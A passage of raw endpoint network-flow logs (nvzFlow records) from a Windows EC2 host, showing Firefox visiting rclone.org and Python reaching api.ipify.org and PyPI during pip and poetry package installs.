Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="0" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:17:44 127.0.0.1 Jul  3 23:17:44 ip-172-31-30-201  fv="nvzFlow_v9" pr="17" sa="172.16.3.110" sp="59560" da="95.217.6.16" dp="443" fd="1" fss="1751584663" fst="Thu Jul  3 23:17:43 2025" fes="1751584663" fet="Thu Jul  3 23:17:43 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584663242" fems="1751584663242" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="1" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:20:48 127.0.0.1 Jul  3 23:20:48 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50355" da="95.217.6.16" dp="443" fd="1" fss="1751584662" fst="Thu Jul  3 23:17:42 2025" fes="1751584835" fet="Thu Jul  3 23:20:35 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="502800" obc="4251" ds="us-east-2.compute.internal" dh="rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584662675" fems="1751584835964" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="0" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:20:46 127.0.0.1 Jul  3 23:20:46 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50355" da="95.217.6.16" dp="443" fd="1" fss="1751584662" fst="Thu Jul  3 23:17:42 2025" fes="1751584835" fet="Thu Jul  3 23:20:35 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="502800" obc="4227" ds="us-east-2.compute.internal" dh="rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584662675" fems="1751584835964" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="2" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:19:06 127.0.0.1 Jul  3 23:19:06 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50355" da="95.217.6.16" dp="443" fd="1" fss="1751584662" fst="Thu Jul  3 23:17:42 2025" fes="1751584723" fet="Thu Jul  3 23:18:43 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="502722" obc="4149" ds="us-east-2.compute.internal" dh="rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584662675" fems="1751584723944" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="2" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:17:44 127.0.0.1 Jul  3 23:17:44 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50354" da="95.217.6.16" dp="443" fd="1" fss="1751584662" fst="Thu Jul  3 23:17:42 2025" fes="1751584663" fet="Thu Jul  3 23:17:43 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="2529" obc="2092" ds="us-east-2.compute.internal" dh="rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584662596" fems="1751584663262" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="0" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:17:44 127.0.0.1 Jul  3 23:17:44 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50356" da="95.217.6.16" dp="443" fd="1" fss="1751584662" fst="Thu Jul  3 23:17:42 2025" fes="1751584663" fet="Thu Jul  3 23:17:43 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="2529" obc="2092" ds="us-east-2.compute.internal" dh="rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584662749" fems="1751584663217" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="0" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:17:43 127.0.0.1 Jul  3 23:17:43 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50356" da="95.217.6.16" dp="443" fd="1" fss="1751584662" fst="Thu Jul  3 23:17:42 2025" fes="1751584662" fet="Thu Jul  3 23:17:42 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584662749" fems="1751584662749" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="1" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:17:43 127.0.0.1 Jul  3 23:17:43 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50355" da="95.217.6.16" dp="443" fd="1" fss="1751584662" fst="Thu Jul  3 23:17:42 2025" fes="1751584662" fet="Thu Jul  3 23:17:42 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584662675" fems="1751584662675" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="1" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  3 23:17:43 127.0.0.1 Jul  3 23:17:43 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="50354" da="95.217.6.16" dp="443" fd="1" fss="1751584662" fst="Thu Jul  3 23:17:42 2025" fes="1751584662" fet="Thu Jul  3 23:17:42 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="firefox.exe" ph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ppa="''" ppuat="0" ppn="firefox.exe" pph="FD559D3C117A41AB5AA5BA7309E4898A222A9CA8C946B5A5854C142C7A5379D2" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="rclone.org" iid="8" mnl="Form Autofill - 1.0.1 Picture-In-Picture - 1.0.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 138.4.0 Add-ons Search Detection - 2.0.0 Web Compatibility Interventions - 140.7.20250522.151919" mhl="''" fsms="1751584662596" fems="1751584662596" pid="7956" ppath="C:\Program Files\Mozilla Firefox\firefox.exe" parg="-osint -url https://securityscorecard.com/company/contact-us/" ppid="8472" aliul="''" pil="8192" ppil="-1" fsg="1" puid="4BD418A320C68E8F9AC33AAD3FE7FFFE"
Jul  4 22:40:46 127.0.0.1 Jul  4 22:40:46 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="55744" da="104.26.12.205" dp="443" fd="1" fss="1751668831" fst="Fri Jul  4 22:40:31 2025" fes="1751668831" fet="Fri Jul  4 22:40:31 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="cmd.exe" pph="41871DADE953D9F40F4AA445FC19982AB59D263C8AA93D7F67A1451663A09A57" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="api.ipify.org" iid="8" mnl="''" mhl="''" fsms="1751668831480" fems="1751668831480" pid="8304" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" ppid="2264" pppath="C:\Windows\system32\cmd.exe" aliul="''" pil="12288" ppil="12288" fsg="1" puid="C54974D56DDD8B5987C48CE81A027857"
Jul  5 14:07:29 127.0.0.1 Jul  5 14:07:29 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59643" da="146.75.76.223" dp="443" fd="1" fss="1751723809" fst="Sat Jul  5 13:56:49 2025" fes="1751724411" fet="Sat Jul  5 14:06:51 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="12754402" obc="888" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751723809718" fems="1751724411080" pid="11396" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" ppid="11316" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" aliul="''" pil="12288" ppil="12288" fsg="2" puid="55D86B837BFE82F0A52DE80BCFD4E41B"
Jul  5 14:07:19 127.0.0.1 Jul  5 14:07:19 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59644" da="146.75.76.223" dp="443" fd="1" fss="1751723809" fst="Sat Jul  5 13:56:49 2025" fes="1751724409" fet="Sat Jul  5 14:06:49 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="16034" obc="882" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751723809740" fems="1751724409807" pid="11396" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" ppid="11316" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" aliul="''" pil="12288" ppil="12288" fsg="2" puid="55D86B837BFE82F0A52DE80BCFD4E41B"
Jul  5 13:57:13 127.0.0.1 Jul  5 13:57:13 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59644" da="146.75.76.223" dp="443" fd="1" fss="1751723809" fst="Sat Jul  5 13:56:49 2025" fes="1751723809" fet="Sat Jul  5 13:56:49 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751723809740" fems="1751723809740" pid="11396" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" ppid="11316" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" aliul="''" pil="12288" ppil="12288" fsg="1" puid="55D86B837BFE82F0A52DE80BCFD4E41B"
Jul  5 13:57:13 127.0.0.1 Jul  5 13:57:13 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59643" da="146.75.76.223" dp="443" fd="1" fss="1751723809" fst="Sat Jul  5 13:56:49 2025" fes="1751723809" fet="Sat Jul  5 13:56:49 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751723809718" fems="1751723809718" pid="11396" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" ppid="11316" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" aliul="''" pil="12288" ppil="12288" fsg="1" puid="55D86B837BFE82F0A52DE80BCFD4E41B"
Jul  5 14:07:09 127.0.0.1 Jul  5 14:07:09 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59642" da="146.75.76.223" dp="443" fd="1" fss="1751723807" fst="Sat Jul  5 13:56:47 2025" fes="1751724409" fet="Sat Jul  5 14:06:49 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="31565" obc="1904" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751723807056" fems="1751724409533" pid="11396" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" ppid="11316" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" aliul="''" pil="12288" ppil="12288" fsg="2" puid="55D86B837BFE82F0A52DE80BCFD4E41B"
Jul  5 13:56:50 127.0.0.1 Jul  5 13:56:50 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59642" da="146.75.76.223" dp="443" fd="1" fss="1751723807" fst="Sat Jul  5 13:56:47 2025" fes="1751723807" fet="Sat Jul  5 13:56:47 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751723807056" fems="1751723807056" pid="11396" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" ppid="11316" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" aliul="''" pil="12288" ppil="12288" fsg="1" puid="55D86B837BFE82F0A52DE80BCFD4E41B"
Jul  5 14:06:59 127.0.0.1 Jul  5 14:06:59 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59641" da="151.101.128.223" dp="443" fd="1" fss="1751723805" fst="Sat Jul  5 13:56:45 2025" fes="1751724409" fet="Sat Jul  5 14:06:49 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="1679281" obc="5591" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751723805186" fems="1751724409228" pid="11396" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" ppid="11316" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" aliul="''" pil="12288" ppil="12288" fsg="2" puid="55D86B837BFE82F0A52DE80BCFD4E41B"
Jul  5 13:56:50 127.0.0.1 Jul  5 13:56:50 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59641" da="151.101.128.223" dp="443" fd="1" fss="1751723805" fst="Sat Jul  5 13:56:45 2025" fes="1751723805" fet="Sat Jul  5 13:56:45 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="0" obc="0" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751723805186" fems="1751723805186" pid="11396" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" ppid="11316" pppath="C:\Users\Administrator\pipx\venvs\poetry\Scripts\python.exe" pparg=" \"c:\users\administrator\.local\bin\poetry.exe\" add matplotlib" aliul="''" pil="12288" ppil="12288" fsg="1" puid="55D86B837BFE82F0A52DE80BCFD4E41B"
Jul  5 12:09:55 127.0.0.1 Jul  5 12:09:55 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59202" da="151.101.0.223" dp="443" fd="1" fss="1751717377" fst="Sat Jul  5 12:09:37 2025" fes="1751717379" fet="Sat Jul  5 12:09:39 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="48663" obc="1674" ds="us-east-2.compute.internal" dh="pypi.org" iid="8" mnl="''" mhl="''" fsms="1751717377296" fems="1751717379395" pid="9652" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg="-m pip --no-input install tqdm" ppid="5060" pppath="C:\Users\Administrator\pipx\venvs\tqdm\Scripts\python.exe" pparg="-m pip --no-input install tqdm" aliul="''" pil="12288" ppil="12288" fsg="0" puid="CA504E66833E83B5874E3E5183313F72"
Jul  5 12:09:50 127.0.0.1 Jul  5 12:09:50 ip-172-31-30-201  fv="nvzFlow_v9" pr="6" sa="172.16.3.110" sp="59203" da="199.232.96.223" dp="443" fd="1" fss="1751717377" fst="Sat Jul  5 12:09:37 2025" fes="1751717379" fet="Sat Jul  5 12:09:39 2025" hh="''" hm="''" ht="''" udid="10E8A7F940225180BFDB748D2AE336EA7285CB8C" liuid="EC2AMAZ-E56LIG5\Administrator" liuida="EC2AMAZ-E56LIG5" liuidp="Administrator" liuat="2" pa="EC2AMAZ-E56LIG5\Administrator" paa="EC2AMAZ-E56LIG5" pap="Administrator" puat="8194" pn="python.exe" ph="7D96A4ED35D6E596CD9DD8933FEAFC66349CC21F75BE3B15C89FD336E50140C1" ppa="EC2AMAZ-E56LIG5\Administrator" ppuat="8194" ppn="python.exe" pph="D70FCED7F461F38F9F224D8673FB74E96E4FACB4283FF4E8697543B457FEA8A0" ibc="143162" obc="1598" ds="us-east-2.compute.internal" dh="files.pythonhosted.org" iid="8" mnl="''" mhl="''" fsms="1751717377417" fems="1751717379395" pid="9652" ppath="C:\Users\Administrator\AppData\Local\Programs\Python\Python313\python.exe" parg="-m pip --no-input install tqdm" ppid="5060" 